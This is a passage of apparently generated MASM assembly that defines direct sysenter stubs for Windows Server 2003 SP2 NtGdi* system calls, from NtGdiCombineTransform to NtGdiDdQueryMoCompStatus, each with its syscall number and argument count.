_5_2_3790_sp2_windows_2003_NtGdiCombineTransform PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4117
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiCombineTransform ENDP
; ULONG __stdcall NtGdiComputeXformCoefficients( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiComputeXformCoefficients PROC STDCALL arg_01:DWORD
mov eax , 4118
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiComputeXformCoefficients ENDP
; ULONG __stdcall NtGdiConsoleTextOut( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiConsoleTextOut PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4119
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiConsoleTextOut ENDP
; ULONG __stdcall NtGdiConvertMetafileRect( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiConvertMetafileRect PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4120
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiConvertMetafileRect ENDP
; ULONG __stdcall NtGdiCreateBitmap( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtGdiCreateBitmap PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4121
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiCreateBitmap ENDP
; ULONG __stdcall NtGdiCreateClientObj( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiCreateClientObj PROC STDCALL arg_01:DWORD
mov eax , 4122
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiCreateClientObj ENDP
; ULONG __stdcall NtGdiCreateColorSpace( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiCreateColorSpace PROC STDCALL arg_01:DWORD
mov eax , 4123
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiCreateColorSpace ENDP
; ULONG __stdcall NtGdiCreateColorTransform( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
_5_2_3790_sp2_windows_2003_NtGdiCreateColorTransform PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 4124
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiCreateColorTransform ENDP
; ULONG __stdcall NtGdiCreateCompatibleBitmap( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiCreateCompatibleBitmap PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4125
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiCreateCompatibleBitmap ENDP
; ULONG __stdcall NtGdiCreateCompatibleDC( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiCreateCompatibleDC PROC STDCALL arg_01:DWORD
mov eax , 4126
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiCreateCompatibleDC ENDP
; ULONG __stdcall NtGdiCreateDIBBrush( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtGdiCreateDIBBrush PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4127
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiCreateDIBBrush ENDP
; ULONG __stdcall NtGdiCreateDIBitmapInternal( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
_5_2_3790_sp2_windows_2003_NtGdiCreateDIBitmapInternal PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 4128
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiCreateDIBitmapInternal ENDP
; ULONG __stdcall NtGdiCreateDIBSection( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
_5_2_3790_sp2_windows_2003_NtGdiCreateDIBSection PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 4129
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiCreateDIBSection ENDP
; ULONG __stdcall NtGdiCreateEllipticRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiCreateEllipticRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4130
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiCreateEllipticRgn ENDP
; ULONG __stdcall NtGdiCreateHalftonePalette( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiCreateHalftonePalette PROC STDCALL arg_01:DWORD
mov eax , 4131
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiCreateHalftonePalette ENDP
; ULONG __stdcall NtGdiCreateHatchBrushInternal( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiCreateHatchBrushInternal PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4132
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiCreateHatchBrushInternal ENDP
; ULONG __stdcall NtGdiCreateMetafileDC( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiCreateMetafileDC PROC STDCALL arg_01:DWORD
mov eax , 4133
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiCreateMetafileDC ENDP
; ULONG __stdcall NtGdiCreatePaletteInternal( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiCreatePaletteInternal PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4134
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiCreatePaletteInternal ENDP
; ULONG __stdcall NtGdiCreatePatternBrushInternal( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiCreatePatternBrushInternal PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4135
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiCreatePatternBrushInternal ENDP
; ULONG __stdcall NtGdiCreatePen( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiCreatePen PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4136
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiCreatePen ENDP
; ULONG __stdcall NtGdiCreateRectRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiCreateRectRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4137
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiCreateRectRgn ENDP
; ULONG __stdcall NtGdiCreateRoundRectRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtGdiCreateRoundRectRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4138
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiCreateRoundRectRgn ENDP
; ULONG __stdcall NtGdiCreateServerMetaFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtGdiCreateServerMetaFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4139
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiCreateServerMetaFile ENDP
; ULONG __stdcall NtGdiCreateSolidBrush( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiCreateSolidBrush PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4140
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiCreateSolidBrush ENDP
; ULONG __stdcall NtGdiD3dContextCreate( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiD3dContextCreate PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4141
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiD3dContextCreate ENDP
; ULONG __stdcall NtGdiD3dContextDestroy( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiD3dContextDestroy PROC STDCALL arg_01:DWORD
mov eax , 4142
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiD3dContextDestroy ENDP
; ULONG __stdcall NtGdiD3dContextDestroyAll( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiD3dContextDestroyAll PROC STDCALL arg_01:DWORD
mov eax , 4143
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiD3dContextDestroyAll ENDP
; ULONG __stdcall NtGdiD3dValidateTextureStageState( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiD3dValidateTextureStageState PROC STDCALL arg_01:DWORD
mov eax , 4144
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiD3dValidateTextureStageState ENDP
; ULONG __stdcall NtGdiD3dDrawPrimitives2( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_5_2_3790_sp2_windows_2003_NtGdiD3dDrawPrimitives2 PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 4145
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiD3dDrawPrimitives2 ENDP
; ULONG __stdcall NtGdiDdGetDriverState( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiDdGetDriverState PROC STDCALL arg_01:DWORD
mov eax , 4146
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdGetDriverState ENDP
; ULONG __stdcall NtGdiDdAddAttachedSurface( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiDdAddAttachedSurface PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4147
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdAddAttachedSurface ENDP
; ULONG __stdcall NtGdiDdAlphaBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiDdAlphaBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4148
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdAlphaBlt ENDP
; ULONG __stdcall NtGdiDdAttachSurface( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdAttachSurface PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4149
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdAttachSurface ENDP
; ULONG __stdcall NtGdiDdBeginMoCompFrame( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdBeginMoCompFrame PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4150
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdBeginMoCompFrame ENDP
; ULONG __stdcall NtGdiDdBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiDdBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4151
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdBlt ENDP
; ULONG __stdcall NtGdiDdCanCreateSurface( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdCanCreateSurface PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4152
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdCanCreateSurface ENDP
; ULONG __stdcall NtGdiDdCanCreateD3DBuffer( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdCanCreateD3DBuffer PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4153
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdCanCreateD3DBuffer ENDP
; ULONG __stdcall NtGdiDdColorControl( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdColorControl PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4154
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdColorControl ENDP
; ULONG __stdcall NtGdiDdCreateDirectDrawObject( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiDdCreateDirectDrawObject PROC STDCALL arg_01:DWORD
mov eax , 4155
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdCreateDirectDrawObject ENDP
; ULONG __stdcall NtGdiDdCreateSurface( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
_5_2_3790_sp2_windows_2003_NtGdiDdCreateSurface PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 4156
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdCreateSurface ENDP
; ULONG __stdcall NtGdiDdCreateD3DBuffer( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
_5_2_3790_sp2_windows_2003_NtGdiDdCreateD3DBuffer PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 4157
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdCreateD3DBuffer ENDP
; ULONG __stdcall NtGdiDdCreateMoComp( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdCreateMoComp PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4158
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdCreateMoComp ENDP
; ULONG __stdcall NtGdiDdCreateSurfaceObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtGdiDdCreateSurfaceObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4159
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdCreateSurfaceObject ENDP
; ULONG __stdcall NtGdiDdDeleteDirectDrawObject( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiDdDeleteDirectDrawObject PROC STDCALL arg_01:DWORD
mov eax , 4160
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdDeleteDirectDrawObject ENDP
; ULONG __stdcall NtGdiDdDeleteSurfaceObject( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiDdDeleteSurfaceObject PROC STDCALL arg_01:DWORD
mov eax , 4161
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdDeleteSurfaceObject ENDP
; ULONG __stdcall NtGdiDdDestroyMoComp( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdDestroyMoComp PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4162
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdDestroyMoComp ENDP
; ULONG __stdcall NtGdiDdDestroySurface( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdDestroySurface PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4163
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdDestroySurface ENDP
; ULONG __stdcall NtGdiDdDestroyD3DBuffer( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiDdDestroyD3DBuffer PROC STDCALL arg_01:DWORD
mov eax , 4164
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdDestroyD3DBuffer ENDP
; ULONG __stdcall NtGdiDdEndMoCompFrame( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdEndMoCompFrame PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4165
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdEndMoCompFrame ENDP
; ULONG __stdcall NtGdiDdFlip( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtGdiDdFlip PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4166
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdFlip ENDP
; ULONG __stdcall NtGdiDdFlipToGDISurface( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdFlipToGDISurface PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4167
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdFlipToGDISurface ENDP
; ULONG __stdcall NtGdiDdGetAvailDriverMemory( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdGetAvailDriverMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4168
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdGetAvailDriverMemory ENDP
; ULONG __stdcall NtGdiDdGetBltStatus( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdGetBltStatus PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4169
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdGetBltStatus ENDP
; ULONG __stdcall NtGdiDdGetDC( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdGetDC PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4170
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdGetDC ENDP
; ULONG __stdcall NtGdiDdGetDriverInfo( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdGetDriverInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4171
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdGetDriverInfo ENDP
; ULONG __stdcall NtGdiDdGetDxHandle( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiDdGetDxHandle PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4172
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdGetDxHandle ENDP
; ULONG __stdcall NtGdiDdGetFlipStatus( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdGetFlipStatus PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4173
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdGetFlipStatus ENDP
; ULONG __stdcall NtGdiDdGetInternalMoCompInfo( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdGetInternalMoCompInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4174
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdGetInternalMoCompInfo ENDP
; ULONG __stdcall NtGdiDdGetMoCompBuffInfo( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdGetMoCompBuffInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4175
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdGetMoCompBuffInfo ENDP
; ULONG __stdcall NtGdiDdGetMoCompGuids( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdGetMoCompGuids PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4176
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdGetMoCompGuids ENDP
; ULONG __stdcall NtGdiDdGetMoCompFormats( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdGetMoCompFormats PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4177
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdGetMoCompFormats ENDP
; ULONG __stdcall NtGdiDdGetScanLine( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdGetScanLine PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4178
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdGetScanLine ENDP
; ULONG __stdcall NtGdiDdLock( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiDdLock PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4179
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdLock ENDP
; ULONG __stdcall NtGdiDdLockD3D( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdLockD3D PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4180
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdLockD3D ENDP
; ULONG __stdcall NtGdiDdQueryDirectDrawObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
_5_2_3790_sp2_windows_2003_NtGdiDdQueryDirectDrawObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 4181
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdQueryDirectDrawObject ENDP
; ULONG __stdcall NtGdiDdQueryMoCompStatus( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiDdQueryMoCompStatus PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4182
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDdQueryMoCompStatus ENDP
